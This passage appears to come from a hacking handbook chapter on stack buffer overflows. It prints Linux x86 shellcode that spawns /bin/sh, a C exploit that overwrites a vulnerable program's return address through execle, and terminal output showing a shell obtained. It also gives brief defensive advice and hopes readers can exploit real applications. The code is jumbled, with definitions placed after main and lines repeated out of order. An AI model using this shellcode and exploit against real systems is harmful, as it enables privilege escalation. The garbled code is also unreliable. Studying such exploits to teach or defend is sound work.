HISTFILESIZE=1000 
HISTSIZE=1000 
HOME=/home/users/ 
HOSTNAME=top 
HOSTTYPE=i686 
... 
PWD=/home/users/ 
SHELL=/bin/bash 
UID=500 
USER=users 
XAUTHORITY=/home/users/.Xauthority 
bash-2.05b$    

ret = 0xbffffffa - strlen(PATH) - strlen(shellcode); 
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Therefore there is nothing left for us but to write a working exploit 
(/CD/Chapter6/Listings/exp.c). 
 

/* Shellcode that we created previously. */ 
char shellcode[]= 
        "\x31\xc0"                /* xorl  %eax,%eax    */ 
        "\x50"                    /* pushl  %eax         */ 
        "\x68\x2f\x2f\x73\x68"    /* pushl  $0x68732f2f  */ 
        "\x68\x2f\x62\x69\x6e"    /* pushl  $0x6e69622f  */ 
        "\x89\xe3"                /* movl  %esp,%ebx    */ 
        "\x50"                    /* pushl %eax         */ 
        "\x53"                    /* pushl %ebx         */ 
        "\x89\xe1"                /* movl  %esp,%ecx    */ 
        "\x31\xd2"                /* xorl %edx,%edx    */ 
        "\xb0\x0b"                /* movb $0xb,%al     */ 
        "\xcd\x80";               /* int  $0x80        */ 
 
int main() 
{ 
        int n,ret; 

 
 /* Buffer filled with addresses that we transfer to the program for exploiting.  */ 
char buf[BUF]; 
 
/* Environment for the program being called. This will consist only of shellcode. */ 
char *envp[] = { shellcode , 0x0 }; 
 
/* tmp variable indicating the beginning of the buffer. */ 
int *tmp = (int *)(buf); 
 
/* Determining shellcode address in memory. */ 
ret = 0xbffffffa - strlen(PATH) - strlen(shellcode); 
 
/* Filling the buffer with shellcode addresses. */ 
for(n=0;n<BUF-1;n+=4) 
        *tmp++ = ret; 
 
/* Placing NULL symbol (zero) at end of buffer. */ 
*tmp = 0x0; 
 
/* Starting the program to exploit. */ 
execle(PATH, PATH, buf ,0x0,envp,0x0); 

 
We will now check to ensure our program works: 
 

#include <stdio.h> 
#include <unistd.h> 
 
/* Path to our program with error */ 
#define PATH "bo" 
 
/* Size of buffer that we transfer to the program (as much as to overwrite the EIP copy). */ 
#define BUF 35 

bash-2.05b$ gcc -o exp exp.c 
bash-2.05b$ ./exp 
Ç˙˙żÇ˙˙żÇ˙˙żÇ˙˙żÇ˙˙żÇ˙˙żÇ˙˙żÇ˙˙żÇ˙˙ż 
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sh-2.05b$ exit 
exit 
bash-2.05b$ 

 
We have managed to force the program to execute the function we 
transferred. If the program had been working with administrator privileges 
we would have obtained full access to the system.  
 
It is important that after filling the transferred buffer containing the shellcode 
addresses we end it with the NULL symbol, as this line does: 
 

 
In another case the attacked program would read the memory till it 
encounters the next NULL symbol. This is often the reason why many 
exploits do not work correctly. The program can quit unexpectedly before 
completing the main() function, for example because it has read memory not 
intended for it or it has written over other important data necessary for its 
correct operation. 
 
How not to make mistakes 
 
We now know which consequences a buffer overflow error in the program 
can bring with it. How can we protect ourselves from this? The first and most 
important point is to use functions that check the maximum size of the data 
being entered. Instead of the strcpy() function we should use strncpy(), even 
if it seems to us that there is no risk we will find an error. The use of secure 
functions in each program is a very good habit. Special attention should be 
dedicated to loops operating on buffers. People often are not able to imagine 
the function of an advanced loop, therefore it is worth it to use clear, specific 
debugging messages, to assure us of the correct loop function.  
 
We can also approach this problem from another angle. Instead of fighting 
errors in the software we can secure the whole system against them. There 
exist paths to the system core that protect us against attacks such as buffer 
overflow. However, we have to remember that these are not reliable and a 
clever shellcoder can bypass them and successfully take advantage of an error 

*tmp = 0x0; 
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in any given application. The best solution is to combine both defense 
methods. We should assure that our programs are written without errors and 
we should install a security path for the system core. People are not perfect 
and can never be 100 percent sure that their programs are not susceptible to 
errors. 
 
With this we will end this introduction to buffer overflow. We hope that after 
having read this chapter you will be able to independently take advantage of 
an error of this type in a real application. Stack overflows are only one of 
many kinds of abuses. There are also heap segment overflows and bss 
segment overflows. A description of these is to be found later in this 
handbook.  
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